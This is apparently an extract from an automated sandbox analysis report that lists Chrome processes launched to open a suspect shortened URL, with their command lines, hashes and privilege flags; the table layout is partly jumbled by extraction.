Analysis Process: chrome.exe PID: 3012, Parent PID: 5564

General

Target ID: 1

Start time: 14:56:04

Start date: 13/05/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "https://znap.link/andrea.selmo-michell.comandrea.selmo-
michell.comandrea.selmo-michell.comandrea.selmo-michell.com

Imagebase: 0x7ff6a7220000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges: true

Has administrator true

privileges:
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Programmed in: C, C++ or other language

Reputation: low

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address Symbol
File Path Completion Count Source Address Symbol
Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

Key Path Name Type Old Data New Data Completion Count LI Symbol
v yp P Address 4

Analysis Process: chrome.exe PID: 4520, Parent PID: 3012

General

Target ID: 3

Start time: 14:56:07

Start date: 13/05/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1616,13022
126194278002074,11839354016134583040,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-
handle=1940 /prefetch:8

Imagebase: 0x7ff6a7220000
File size: 2150896 bytes
MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language
Reputation: low

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address Symbol
File Path Completion Count Source Address Symbol
Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Analysis Process: chrome.exe PID: 3552, Parent PID: 3012

General
Target ID: 7
Start time: 14:56:55
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Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

13/05/2022
C:\Program Files\Google\Chrome\Application\chrome.exe

false

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1616,130221261
94278002074,11839354016134583040,131072 --lang=en-US --service-sandbox-type=audio --enable-audio-service-sandbox --mojo-platform-channel-han

dle=4064 /prefetch:8

0x7ff6a7220000

2150896 bytes
C139654B5C1438A95B321BB01AD63EF6
false

false

C, C++ or other language

low

Analysis Process: chrome.exe PID: 2960, Parent PID: 3012

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

8

14:56:55

13/05/2022

C:\Program Files\Google\Chrome\Application\chrome.exe

false

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle
=1616,13022126194278002074,11839354016134583040,131072 --lang=en-US --service-sandbox-type=video_capture --enable-audio-service-sandbox --mojo-

platform-channel-handle=4984 /prefetch:8
0x7ff6a7220000

2150896 bytes
C139654B5C1438A95B321BB01AD63EF6
true

true

C, C++ or other language

low

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address Symbol
Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Completion Count Source Address Symbol
Key Path Name Type Data Completion Count Source Address Symbol
Disassembly

@ No disassembly
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